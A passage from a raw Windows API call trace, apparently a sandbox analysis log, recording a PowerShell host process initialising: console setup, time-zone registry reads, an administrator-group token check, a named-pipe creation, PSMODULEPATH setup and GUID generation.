samDesired=0x20019, phkResult=0x5bfdabd7f8 | out: phkResult=0x5bfdabd7f8*=0x0) returned 0x2 [0181.763] GetConsoleCP () returned 0x1b5 [0181.765] GetCurrentConsoleFontEx (in: hConsoleOutput=0x5a8, bMaximumWindow=0, lpConsoleCurrentFontEx=0x5bfdabd848 | out: lpConsoleCurrentFontEx=0x5bfdabd848) returned 1 [0181.769] SetConsoleCtrlHandler (HandlerRoutine=0x1ef7036471c, Add=1) returned 1 [0181.771] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0181.771] GetFileType (hFile=0x50) returned 0x2 [0181.772] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x5bfdabd968 | out: lpMode=0x5bfdabd968) returned 1 [0181.774] GetStdHandle (nStdHandle=0xfffffff6) returned 0x4c [0181.774] GetFileType (hFile=0x4c) returned 0x2 [0181.775] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x5bfdabd8f8 | out: lpMode=0x5bfdabd8f8) returned 1 [0181.776] EtwEventActivityIdControl () returned 0x0 [0181.781] CoCreateGuid (in: pguid=0x5bfdabd6b8 | out: pguid=0x5bfdabd6b8*(Data1=0x12df55de, Data2=0x4e4e, Data3=0x47e5, Data4=([0]=0xb9, [1]=0x9a, [2]=0xdb, [3]=0x52, [4]=0x0, [5]=0x75, [6]=0x5d, [7]=0xb0))) returned 0x0 [0181.792] EtwEventActivityIdControl () returned 0x0 [0181.798] EtwEventRegister () returned 0x0 [0181.798] EtwEventSetInformation () returned 0x0 [0181.802] CoTaskMemAlloc (cb=0x20c) returned 0x1ef703ef470 [0181.802] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ef703ef470 | out: pszPath="C:\\Program Files") returned 0x0 [0181.802] CoTaskMemFree (pv=0x1ef703ef470) [0181.803] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x11 [0181.803] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x11, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0181.803] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfdabc320, nSize=0xfa | out: lpBuffer="") returned 0x0 [0181.808] GetCurrentProcessId () returned 0x1328 [0181.816] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x1328) returned 0x5bc [0181.817] GetProcessTimes (in: hProcess=0x5bc, lpCreationTime=0x1ef000b3b10, lpExitTime=0x1ef000b3b18, lpKernelTime=0x1ef000b3b20, lpUserTime=0x1ef000b3b28 | out: lpCreationTime=0x1ef000b3b10, lpExitTime=0x1ef000b3b18, lpKernelTime=0x1ef000b3b20, lpUserTime=0x1ef000b3b28) returned 1 [0181.817] CloseHandle (hObject=0x5bc) returned 1 [0181.819] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x5bfdabb288 | out: pTimeZoneInformation=0x5bfdabb288) returned 0x2 [0181.841] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabb258 | out: phkResult=0x5bfdabb258*=0x5bc) returned 0x0 [0181.845] RegQueryValueExW (in: hKey=0x5bc, lpValueName="TZI", lpReserved=0x0, lpType=0x5bfdabb298, lpData=0x0, lpcbData=0x5bfdabb290*=0x0 | out: lpType=0x5bfdabb298*=0x3, lpData=0x0, lpcbData=0x5bfdabb290*=0x2c) returned 0x0 [0181.845] RegQueryValueExW (in: hKey=0x5bc, lpValueName="TZI", lpReserved=0x0, lpType=0x5bfdabb298, lpData=0x1ef000b4860, lpcbData=0x5bfdabb290*=0x2c | out: lpType=0x5bfdabb298*=0x3, lpData=0x1ef000b4860*, lpcbData=0x5bfdabb290*=0x2c) returned 0x0 [0181.846] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabb058 | out: phkResult=0x5bfdabb058*=0x0) returned 0x2 [0181.848] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x5bfdabb228, lpData=0x0, lpcbData=0x5bfdabb220*=0x0 | out: lpType=0x5bfdabb228*=0x1, lpData=0x0, lpcbData=0x5bfdabb220*=0x20) returned 0x0 [0181.848] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x5bfdabb228, lpData=0x1ef000b4da8, lpcbData=0x5bfdabb220*=0x20 | out: lpType=0x5bfdabb228*=0x1, lpData="@tzres.dll,-320", lpcbData=0x5bfdabb220*=0x20) returned 0x0 [0181.848] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x5bfdabb228, lpData=0x0, lpcbData=0x5bfdabb220*=0x0 | out: lpType=0x5bfdabb228*=0x1, lpData=0x0, lpcbData=0x5bfdabb220*=0x20) returned 0x0 [0181.848] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x5bfdabb228, lpData=0x1ef000b4e18, lpcbData=0x5bfdabb220*=0x20 | out: lpType=0x5bfdabb228*=0x1, lpData="@tzres.dll,-322", lpcbData=0x5bfdabb220*=0x20) returned 0x0 [0181.848] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x5bfdabb228, lpData=0x0, lpcbData=0x5bfdabb220*=0x0 | out: lpType=0x5bfdabb228*=0x1, lpData=0x0, lpcbData=0x5bfdabb220*=0x20) returned 0x0 [0181.848] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x5bfdabb228, lpData=0x1ef000b4e88, lpcbData=0x5bfdabb220*=0x20 | out: lpType=0x5bfdabb228*=0x1, lpData="@tzres.dll,-321", lpcbData=0x5bfdabb220*=0x20) returned 0x0 [0181.851] CoTaskMemAlloc (cb=0x20c) returned 0x1ef703ed6b0 [0181.851] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1ef703ed6b0 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0181.851] CoTaskMemFree (pv=0x1ef703ed6b0) [0181.852] CoTaskMemAlloc (cb=0x20c) returned 0x1ef703ed6b0 [0181.852] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x5bfdabb270, pwszFileMUIPath=0x1ef703ed6b0, pcchFileMUIPath=0x5bfdabb278, pululEnumerator=0x5bfdabb268 | out: pwszLanguage=0x0, pcchLanguage=0x5bfdabb270, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x5bfdabb278, pululEnumerator=0x5bfdabb268) returned 1 [0181.853] CoTaskMemFree (pv=0x0) [0181.853] CoTaskMemFree (pv=0x1ef703ed6b0) [0181.854] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1ef70340001 [0181.874] CoTaskMemAlloc (cb=0x3ec) returned 0x1ef702b7720 [0181.874] LoadStringW (in: hInstance=0x1ef70340001, uID=0x140, lpBuffer=0x1ef702b7720, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0181.874] CoTaskMemFree (pv=0x1ef702b7720) [0181.875] FreeLibrary (hLibModule=0x1ef70340001) returned 1 [0181.876] CoTaskMemAlloc (cb=0x20c) returned 0x1ef703ef470 [0181.876] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1ef703ef470 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0181.876] CoTaskMemFree (pv=0x1ef703ef470) [0181.876] CoTaskMemAlloc (cb=0x20c) returned 0x1ef703ef470 [0181.876] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x5bfdabb270, pwszFileMUIPath=0x1ef703ef470, pcchFileMUIPath=0x5bfdabb278, pululEnumerator=0x5bfdabb268 | out: pwszLanguage=0x0, pcchLanguage=0x5bfdabb270, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x5bfdabb278, pululEnumerator=0x5bfdabb268) returned 1 [0181.877] CoTaskMemFree (pv=0x0) [0181.877] CoTaskMemFree (pv=0x1ef703ef470) [0181.877] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1ef70340001 [0181.877] CoTaskMemAlloc (cb=0x3ec) returned 0x1ef702b7720 [0181.877] LoadStringW (in: hInstance=0x1ef70340001, uID=0x142, lpBuffer=0x1ef702b7720, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0181.878] CoTaskMemFree (pv=0x1ef702b7720) [0181.878] FreeLibrary (hLibModule=0x1ef70340001) returned 1 [0181.878] CoTaskMemAlloc (cb=0x20c) returned 0x1ef703ed6b0 [0181.878] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1ef703ed6b0 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0181.878] CoTaskMemFree (pv=0x1ef703ed6b0) [0181.878] CoTaskMemAlloc (cb=0x20c) returned 0x1ef703ef470 [0181.878] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x5bfdabb270, pwszFileMUIPath=0x1ef703ef470, pcchFileMUIPath=0x5bfdabb278, pululEnumerator=0x5bfdabb268 | out: pwszLanguage=0x0, pcchLanguage=0x5bfdabb270, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x5bfdabb278, pululEnumerator=0x5bfdabb268) returned 1 [0181.879] CoTaskMemFree (pv=0x0) [0181.879] CoTaskMemFree (pv=0x1ef703ef470) [0181.879] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1ef70340001 [0181.880] CoTaskMemAlloc (cb=0x3ec) returned 0x1ef702b7720 [0181.880] LoadStringW (in: hInstance=0x1ef70340001, uID=0x141, lpBuffer=0x1ef702b7720, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0181.880] CoTaskMemFree (pv=0x1ef702b7720) [0181.880] FreeLibrary (hLibModule=0x1ef70340001) returned 1 [0181.881] RegCloseKey (hKey=0x5bc) returned 0x0 [0181.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1ef100319a0, Length=0x26698, ResultLength=0x5bfdabb6f0 | out: SystemInformation=0x1ef100319a0, ResultLength=0x5bfdabb6f0*=0x23a78) returned 0x0 [0181.903] CreateWellKnownSid (in: WellKnownSidType=0x1a, DomainSid=0x0, pSid=0x1ef000efc00, cbSid=0x5bfdabb6c0 | out: pSid=0x1ef000efc00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), cbSid=0x5bfdabb6c0) returned 1 [0181.906] GetCurrentProcess () returned 0xffffffffffffffff [0181.906] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfdabb5c8 | out: TokenHandle=0x5bfdabb5c8*=0x5bc) returned 1 [0181.906] GetTokenInformation (in: TokenHandle=0x5bc, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5bfdabb628 | out: TokenInformation=0x0, ReturnLength=0x5bfdabb628) returned 0 [0181.906] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1ef70311980 [0181.906] GetTokenInformation (in: TokenHandle=0x5bc, TokenInformationClass=0x8, TokenInformation=0x1ef70311980, TokenInformationLength=0x4, ReturnLength=0x5bfdabb628 | out: TokenInformation=0x1ef70311980, ReturnLength=0x5bfdabb628) returned 1 [0181.906] LocalFree (hMem=0x1ef70311980) returned 0x0 [0181.906] DuplicateTokenEx (in: hExistingToken=0x5bc, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x5bfdabb688 | out: phNewToken=0x5bfdabb688*=0x5e8) returned 1 [0181.907] CheckTokenMembership (in: TokenHandle=0x5e8, SidToCheck=0x1ef000f0360*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x5bfdabb690 | out: IsMember=0x5bfdabb690) returned 1 [0181.907] CloseHandle (hObject=0x5e8) returned 1 [0181.907] GetCurrentProcess () returned 0xffffffffffffffff [0181.907] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfdabb5c8 | out: TokenHandle=0x5bfdabb5c8*=0x5e8) returned 1 [0181.907] GetTokenInformation (in: TokenHandle=0x5e8, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5bfdabb6c8 | out: TokenInformation=0x0, ReturnLength=0x5bfdabb6c8) returned 0 [0181.907] LocalAlloc (uFlags=0x0, uBytes=0x2c) returned 0x1ef70239520 [0181.907] GetTokenInformation (in: TokenHandle=0x5e8, TokenInformationClass=0x1, TokenInformation=0x1ef70239520, TokenInformationLength=0x2c, ReturnLength=0x5bfdabb6c8 | out: TokenInformation=0x1ef70239520, ReturnLength=0x5bfdabb6c8) returned 1 [0181.909] LocalFree (hMem=0x1ef70239520) returned 0x0 [0181.914] CreateNamedPipeW (lpName="\\\\.\\pipe\\PSHost.132421322421946277.4904.DefaultAppDomain.powershell" (normalized: "\\device\\namedpipe\\pshost.132421322421946277.4904.defaultappdomain.powershell"), dwOpenMode=0x40080003, dwPipeMode=0x6, nMaxInstances=0x1, nOutBufferSize=0x8000, nInBufferSize=0x8000, nDefaultTimeOut=0x0, lpSecurityAttributes=0x5bfdabb5d0) returned 0x5e4 [0182.008] GetFileType (hFile=0x5e4) returned 0x3 [0182.061] CoTaskMemAlloc (cb=0x20c) returned 0x1ef6e3842b0 [0182.061] GetEnvironmentVariableW (in: lpName="PathEXT", lpBuffer=0x1ef6e3842b0, nSize=0x104 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0182.061] CoTaskMemFree (pv=0x1ef6e3842b0) [0182.062] SetEnvironmentVariableW (lpName="PathEXT", lpValue=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 1 [0182.861] CoCreateGuid (in: pguid=0x5bfdabbdd8 | out: pguid=0x5bfdabbdd8*(Data1=0xa54a53b8, Data2=0x4c63, Data3=0x4d54, Data4=([0]=0x8d, [1]=0x1e, [2]=0x4c, [3]=0xdf, [4]=0xc2, [5]=0xfe, [6]=0x90, [7]=0x57))) returned 0x0 [0183.248] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70468490 [0183.248] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x1ef70468490, nSize=0x104 | out: lpBuffer="%ProgramFiles%\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5b [0183.248] CoTaskMemFree (pv=0x1ef70468490) [0183.249] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%", lpDst=0x5bfdabd310, nSize=0x64 | out: lpDst="C:\\Program Files") returned 0x11 [0183.249] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x5bfdabd310, nSize=0x64 | out: lpDst="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5e [0183.249] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd418 | out: phkResult=0x5bfdabd418*=0x63c) returned 0x0 [0183.249] RegQueryValueExW (in: hKey=0x63c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x5bfdabd468, lpData=0x0, lpcbData=0x5bfdabd460*=0x0 | out: lpType=0x5bfdabd468*=0x2, lpData=0x0, lpcbData=0x5bfdabd460*=0xbc) returned 0x0 [0183.249] RegQueryValueExW (in: hKey=0x63c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x5bfdabd468, lpData=0x1ef0015f458, lpcbData=0x5bfdabd460*=0xbc | out: lpType=0x5bfdabd468*=0x2, lpData="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules", lpcbData=0x5bfdabd460*=0xbc) returned 0x0 [0183.249] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%", lpDst=0x5bfdabd1c0, nSize=0x64 | out: lpDst="C:\\Program Files") returned 0x11 [0183.250] ExpandEnvironmentStringsW (in: lpSrc="%\\WindowsPowerShell\\Modules;%", lpDst=0x5bfdabd1c0, nSize=0x64 | out: lpDst="%\\WindowsPowerShell\\Modules;%") returned 0x1e [0183.250] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x5bfdabd1c0, nSize=0x64 | out: lpDst="C:\\WINDOWS") returned 0xb [0183.250] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x5bfdabd1c0, nSize=0x64 | out: lpDst="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5e [0183.250] RegCloseKey (hKey=0x63c) returned 0x0 [0183.251] ExpandEnvironmentStringsW (in: lpSrc="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x5bfdabd310, nSize=0x64 | out: lpDst="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5e [0183.251] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd418 | out: phkResult=0x5bfdabd418*=0x63c) returned 0x0 [0183.251] RegQueryValueExW (in: hKey=0x63c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x5bfdabd468, lpData=0x0, lpcbData=0x5bfdabd460*=0x0 | out: lpType=0x5bfdabd468*=0x0, lpData=0x0, lpcbData=0x5bfdabd460*=0x0) returned 0x2 [0183.251] RegCloseKey (hKey=0x63c) returned 0x0 [0183.251] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70469370 [0183.251] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ef70469370 | out: pszPath="C:\\Program Files") returned 0x0 [0183.251] CoTaskMemFree (pv=0x1ef70469370) [0183.251] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x11 [0183.252] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x11, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0183.253] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70466b10 [0183.253] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1ef70466b10, nSize=0x104 | out: lpBuffer="") returned 0x0 [0183.254] CoTaskMemFree (pv=0x1ef70466b10) [0183.254] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd3a8 | out: phkResult=0x5bfdabd3a8*=0x63c) returned 0x0 [0183.254] RegQueryValueExW (in: hKey=0x63c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd3f8, lpData=0x0, lpcbData=0x5bfdabd3f0*=0x0 | out: lpType=0x5bfdabd3f8*=0x1, lpData=0x0, lpcbData=0x5bfdabd3f0*=0x56) returned 0x0 [0183.254] RegQueryValueExW (in: hKey=0x63c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd3f8, lpData=0x1ef00161428, lpcbData=0x5bfdabd3f0*=0x56 | out: lpType=0x5bfdabd3f8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfdabd3f0*=0x56) returned 0x0 [0183.254] RegCloseKey (hKey=0x63c) returned 0x0 [0183.254] ExpandEnvironmentStringsW (in: lpSrc="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules", lpDst=0x5bfdabd2e0, nSize=0x64 | out: lpDst="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules") returned 0x33 [0183.254] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70466b10 [0183.255] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1ef70466b10 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0183.255] CoTaskMemFree (pv=0x1ef70466b10) [0183.255] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0183.255] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0183.256] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 1 [0183.301] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70466b10 [0183.301] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1ef70466b10, nSize=0x104 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0183.301] CoTaskMemFree (pv=0x1ef70466b10) [0183.551] EtwEventRegister () returned 0x0 [0183.551] EtwEventSetInformation () returned 0x0 [0183.964] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabc698 | out: phkResult=0x5bfdabc698*=0x63c) returned 0x0 [0183.965] RegQueryValueExW (in: hKey=0x63c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabc6e8, lpData=0x0, lpcbData=0x5bfdabc6e0*=0x0 | out: lpType=0x5bfdabc6e8*=0x1, lpData=0x0, lpcbData=0x5bfdabc6e0*=0x56) returned 0x0 [0183.965] RegQueryValueExW (in: hKey=0x63c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabc6e8, lpData=0x1ef0018f5e0, lpcbData=0x5bfdabc6e0*=0x56 | out: lpType=0x5bfdabc6e8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfdabc6e0*=0x56) returned 0x0 [0183.965] RegCloseKey (hKey=0x63c) returned 0x0 [0184.096] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x871a4f15, Data2=0x7f83, Data3=0x467a, Data4=([0]=0x9c, [1]=0x81, [2]=0x71, [3]=0x17, [4]=0x5e, [5]=0x97, [6]=0xfe, [7]=0xc6))) returned 0x0 [0184.096] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xc5fd8d37, Data2=0x5ebc, Data3=0x4c4d, Data4=([0]=0xae, [1]=0x92, [2]=0xd, [3]=0xfb, [4]=0x5f, [5]=0x93, [6]=0x8c, [7]=0xbe))) returned 0x0 [0184.097] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x37d8882b, Data2=0xd550, Data3=0x4cdf, Data4=([0]=0x90, [1]=0x18, [2]=0x77, [3]=0xd, [4]=0x4c, [5]=0xf2, [6]=0x83, [7]=0xe7))) returned 0x0 [0184.097] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x314abdcc, Data2=0x9d7a, Data3=0x44a1, Data4=([0]=0x90, [1]=0xa4, [2]=0xce, [3]=0x46, [4]=0x96, [5]=0x1d, [6]=0xf5, [7]=0x4f))) returned 0x0 [0184.097] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x7d282151, Data2=0xe009, Data3=0x42ee, Data4=([0]=0xbb, [1]=0xaa, [2]=0xf7, [3]=0x5d, [4]=0xe1, [5]=0x11, [6]=0xf7, [7]=0x7d))) returned 0x0 [0184.097] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xcf5515c7, Data2=0x626f, Data3=0x4b76, Data4=([0]=0xba, [1]=0x42, [2]=0xa6, [3]=0x3f, [4]=0x1b, [5]=0xb9, [6]=0xb4, [7]=0x8d))) returned 0x0 [0184.097] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x388a9611, Data2=0xced0, Data3=0x4783, Data4=([0]=0x9e, [1]=0xad, [2]=0x3c, [3]=0x14, [4]=0x45, [5]=0xa6, [6]=0x17, [7]=0x60))) returned 0x0 [0184.097] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xbbc12c82, Data2=0xb2e1, Data3=0x4ffa, Data4=([0]=0x95, [1]=0x5b, [2]=0x3b, [3]=0x9, [4]=0xa2, [5]=0x50, [6]=0xd3, [7]=0x26))) returned 0x0 [0184.210] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x4df459f7, Data2=0x9aaf, Data3=0x4ecd, Data4=([0]=0x85, [1]=0xac, [2]=0x78, [3]=0x78, [4]=0xef, [5]=0xf5, [6]=0xe2, [7]=0xc0))) returned 0x0 [0184.210] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x5a4fe590, Data2=0xc143, Data3=0x41a5, Data4=([0]=0x88, [1]=0xcd, [2]=0x9d, [3]=0xb4, [4]=0xd4, [5]=0x7a, [6]=0x46, [7]=0xcf))) returned 0x0 [0184.210] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xe85e0456, Data2=0xfc1d, Data3=0x43b3, Data4=([0]=0x87, [1]=0x5c, [2]=0xbd, [3]=0x30, [4]=0xa0, [5]=0xf, [6]=0xc2, [7]=0x39))) returned 0x0 [0184.210] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x7fa7e3a9, Data2=0x1b6d, Data3=0x4e20, Data4=([0]=0x8a, [1]=0xa9, [2]=0xfb, [3]=0xa8, [4]=0x63, [5]=0x89, [6]=0xe7, [7]=0xfa))) returned 0x0 [0184.210] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xa7440e0b, Data2=0x1d12, Data3=0x4d93, Data4=([0]=0xbf, [1]=0xbb, [2]=0xad, [3]=0x51, [4]=0x6, [5]=0x71, [6]=0xb5, [7]=0x97))) returned 0x0 [0184.210] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xadf12ef3, Data2=0x6aa7, Data3=0x4912, Data4=([0]=0x9b, [1]=0x5d, [2]=0x3d, [3]=0xd3, [4]=0x9a, [5]=0x77, [6]=0x2a, [7]=0xa9))) returned 0x0 [0184.213] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xc10acf88, Data2=0xe675, Data3=0x48a0, Data4=([0]=0xa1, [1]=0x1c, [2]=0x65, [3]=0xfe, [4]=0xa8, [5]=0x7c, [6]=0xce, [7]=0xe9))) returned 0x0 [0184.214] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xe34342a, Data2=0xaf87, Data3=0x4d2f, Data4=([0]=0x9b, [1]=0xd0, [2]=0xd6, [3]=0xfb, 